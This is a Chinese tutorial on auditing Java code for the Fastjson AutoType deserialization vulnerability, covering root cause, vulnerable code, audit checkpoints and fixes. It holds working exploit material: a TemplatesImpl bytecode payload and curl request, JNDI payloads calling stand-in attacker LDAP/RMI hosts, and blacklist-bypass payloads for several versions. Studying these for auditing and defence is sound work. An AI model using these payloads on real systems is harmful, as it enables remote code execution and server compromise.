章
目
录
在Java应用程序的安全审计时,Fastjson反序列化漏洞不容忽视,建议大家深入了解这一漏洞的原理、利用方式以及防护措施,接下来,我们就详细探讨Java漏洞在白盒审计中Fastjson反序列化相关的知识。
一、Fastjson反序列化漏洞原理
Fastjson反序列化漏洞的根源在于其反序列化过程中的AutoType机制。在Fastjson中,通过@type
标识来指定类名,在反序列化时会尝试实例化该类。这就给攻击者提供了可乘之机,他们可以指定包含危险方法的类,如TemplatesImpl
,构造恶意JSON数据。一旦服务端对这类恶意数据进行反序列化操作,就可能触发任意代码执行,导致严重的安全问题 。
需要注意的是,该漏洞主要存在于1.2.24及之前版本。在后续版本中,Fastjson通过关闭AutoType默认值等方式增加了安全防护,但也出现了一些新的绕过技巧,这在后面会详细介绍。
二、漏洞代码示例
2.1 存在漏洞的服务端代码(以Spring Boot为例)
@RestController
public class VulnerableController {
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// 直接使用fastjson解析不可信数据,存在安全风险
Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
return "Parsed: " + obj.getClass().getName();
}
}
这段代码中,VulnerableController
的parseJson
方法接收一个JSON格式的字符串,并使用JSON.parseObject
方法进行解析。这里直接解析不可信数据,且未指定具体的反序列化类型,还开启了Feature.SupportNonPublicField
支持非公有字段的反序列化,为漏洞的利用创造了条件。
2.2 恶意类构造(攻击者准备的Exploit类)
public class EvilClass {
static {
try {
// 弹计算器作为攻击演示,实际攻击可能执行更危险的操作
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这个EvilClass
类的静态代码块中,使用Runtime.getRuntime().exec("calc.exe")
尝试执行系统命令打开计算器。在实际攻击场景中,攻击者可能会执行更具破坏性的操作,如窃取数据、植入后门等。
三、攻击利用过程
3.1 构造恶意JSON
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意类的字节码(Base64编码后的EvilClass.class)"],
"_name": "xxx",
"_tfactory": {},
"_outputProperties": {}
}
攻击者构造的恶意JSON数据中,通过@type
指定了危险类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,并将恶意类的字节码经过Base64编码后放在_bytecodes
字段中。
3.2 攻击步骤
- 首先,攻击者需要编译
EvilClass.java
生成class
文件。 - 接着,将生成的
class
文件进行Base64编码,得到适合放在恶意JSON中的数据。 - 最后,发送恶意HTTP请求:
curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADIAlgo..."],
"_name": "hack",
"_tfactory": {},
"_outputProperties": {}
}'
3.3 漏洞触发过程
当服务端执行JSON.parseObject()
方法解析恶意JSON数据时:
- 首先解析
@type
指定的类,尝试实例化TemplatesImpl
。 - 在实例化过程中,会自动调用
getOutputProperties()
方法。 - 该方法会加载恶意字节码,进而执行恶意类
EvilClass
静态代码块中的代码,实现攻击目的。
四、代码审计关键点
在对Fastjson代码进行审计时,有几个关键的地方需要重点关注:
4.1 危险方法调用
// 高风险用法,直接解析JSON字符串,未指定具体类型,存在安全隐患
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField);
// 相对安全的用法,指定了具体的反序列化类型,降低风险
JSON.parseObject(jsonStr, User.class);
在代码中,如果发现使用JSON.parse
或JSON.parseObject
等方法时未指定具体类型,尤其是还开启了Feature.SupportNonPublicField
,就需要特别警惕,这很可能存在安全漏洞。
4.2 AutoType相关配置
检查代码中是否存在对Fastjson的AutoType相关配置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置,开启AutoType支持,容易引发漏洞
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制,设置可接受的类名前缀,但需确保白名单的合理性
若开启了setAutoTypeSupport(true)
,会增加反序列化漏洞的风险;而使用addAccept
设置白名单时,要仔细检查白名单的范围是否合理,避免出现绕过的情况。
五、修复方案与安全编码规范
5.1 基础修复措施
<!-- (1) 升级到安全版本(1.2.83+),新版本增强了安全性,默认关闭AutoType -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
// (2) 手动关闭AutoType,降低漏洞风险
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// (3) 使用安全模式(1.2.68+),进一步增强安全性
ParserConfig.getGlobalInstance().setSafeMode(true);
升级Fastjson版本、关闭AutoType或使用安全模式,都能有效降低反序列化漏洞的风险。
5.2 安全编码规范
// 反序列化时指定具体类型,确保解析的数据符合预期
User user = JSON.parseObject(jsonStr, User.class);
// 避免反序列化接口/抽象类等非具体类型,减少安全风险
在进行反序列化操作时,尽量指定具体的类,避免反序列化接口或抽象类等非具体类型的数据,从编码层面提升安全性。
六、漏洞验证POC
下面是一个本地验证Fastjson反序列化漏洞的完整代码:
public class FastjsonPoc {
public static void main(String[] args) {
// 构造恶意JSON,这里使用JNDI注入方式演示
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://attacker-server/Exploit\"," +
"\"autoCommit\":true}";
// 模拟服务端反序列化操作
try {
JSON.parse(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这段代码构造了一个包含JNDI注入的恶意JSON数据,并模拟服务端进行反序列化操作。通过运行该代码,可以验证Fastjson是否存在反序列化漏洞。但需要注意的是,在实际测试时,要确保测试环境的安全性,避免对生产环境造成影响。
七、拓展知识:Gadgets链与绕过方式
7.1 Gadgets链
在实际攻击中,攻击者通常需要构造利用链来实现攻击目的。常见的Gadgets链有:
- JdbcRowSetImpl(JNDI注入):利用该类的特性,通过JNDI注入实现远程代码执行。
- TemplatesImpl(字节码加载):通过加载恶意字节码,执行其中的恶意代码。
- BCEL ClassLoader:利用BCEL ClassLoader加载恶意类,进而执行恶意操作。
7.2 绕过方式
随着Fastjson版本的更新,虽然安全性有所提升,但也出现了一些新的绕过技巧:
- 使用特殊类名:如使用以
L
开头、;
结尾的类名,利用Fastjson对类名处理的特点绕过黑名单。 - 利用第三方库:利用未在黑名单中的第三方库,构造恶意数据绕过检测。
- 特殊字符绕过:通过一些特殊字符的组合,绕过安全检查机制。
八、真实案例分析
8.1 案例1:TemplatesImpl字节码加载(无网络交互利用链)
- 漏洞版本:Fastjson <=1.2.24
- 利用链原理:通过
_bytecodes
字段加载恶意类字节码,利用TemplatesImpl
类的getOutputProperties()
方法触发类加载。 - 攻击步骤:
- 编写一个继承
AbstractTranslet
的恶意类(如EvilObject
),在静态代码块或构造函数中植入恶意代码,比如执行系统命令。 - 将恶意类编译为
.class
文件,并进行Base64编码。 - 构造Payload:
- 编写一个继承
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码Base64"],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
4. 当服务端调用`JSON.parseObject()`时,`TemplatesImpl`的`getOutputProperties()`方法被触发,加载并执行恶意字节码中的代码。
- 技术细节:
_bytecodes
字段用于存储恶意类字节码,_outputProperties
字段会触发getOutputProperties()
方法。需要启用Feature.SupportNonPublicField
来支持非公有字段的反序列化,才能成功利用该漏洞。
8.2 案例2:1.2.47版本缓存机制绕过AutoType
-
- 漏洞版本:Fastjson 1.2.47
- 利用链原理:利用Fastjson的缓存机制绕过AutoType黑名单,结合
java.lang.Class
和JdbcRowSetImpl
实现JNDI注入。 - 攻击步骤:
1.构造双Payload:
{
"a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker-ip:1389/Exploit",
"autoCommit": true
}
}
2. 第一个Payload通过`java.lang.Class`将`JdbcRowSetImpl`类名加入缓存,第二个Payload利用缓存机制绕过黑名单检查。
3. 触发`autoCommit`属性后,服务端连接攻击者控制的LDAP/RMI服务器,加载远程恶意类。
- 技术细节:Fastjson在解析
java.lang.Class
时会将类名缓存,后续解析时跳过黑名单校验。该方法适用的场景是JDK版本需支持JNDI远程加载,如JDK 8u191之前的版本。
8.3 案例3:CTF比赛中利用FlagBean类的Getter方法
- 漏洞场景:CTF竞赛中的Flag读取
- 利用链原理:通过无
setter
但满足条件的getter
方法触发敏感操作。 - 攻击步骤:
1.构造Payload:
{
"@type": "com.ctfshow.happyfjs.Beans.FlagBean",
"flag": { "@type": "java.util.HashMap" }
}
2. `FlagBean`类中`getFlag`方法满足以下条件时会被触发:方法名以`get`开头且第四个字符大写;返回值类型为`Map`;无对应的`setFlag`方法。
3. `getFlag`方法内部逻辑可能触发命令执行或直接返回Flag。
- 技术细节:Fastjson在无
setter
时,若getter
满足特定条件(如返回值继承自Collection
/Map
),则会被调用。攻击者通过构造合法的类结构触发隐藏逻辑,实现攻击目的。
8.4 案例4:1.2.41版本黑名单绕过(类名双写)
- 漏洞版本:Fastjson 1.2.41
- 利用链原理:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单。
- Payload构造:
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "rmi://attacker-ip:1099/Exploit",
"autoCommit": true
}
- 绕过原理:Fastjson在解析类名时会去除开头的
L
和结尾的;
,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl
,从而绕过黑名单检查。
九、漏洞修复与防御建议
- 升级版本:使用Fastjson >=1.2.83版本,该版本默认关闭AutoType并增强了黑名单机制,能有效防范反序列化漏洞。
- 安全配置:通过
ParserConfig.getGlobalInstance().setSafeMode(true);
完全禁用AutoType,进一步提升安全性。 - 输入验证:在反序列化之前,对输入的JSON数据进行严格验证,避免反序列化未经验证的数据。同时,尽量使用具体类进行反序列化,而不是
Object.class
。 - 运行时防护:通过设置系统属性
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
,限制JNDI远程加载,防止JNDI注入攻击。
十、总结
Fastjson反序列化漏洞的核心在于AutoType机制以及危险类的链式调用。在进行Java白盒审计时,要重点关注JSON.parseObject()
未指定具体类型的情况,仔细检查黑名单的覆盖范围以及是否存在绕过可能性,同时留意敏感类(如TemplatesImpl
、JdbcRowSetImpl
)的调用路径。只有全面掌握这些知识,并采取有效的防护措施,才能有效防范Fastjson反序列化漏洞带来的安全风险。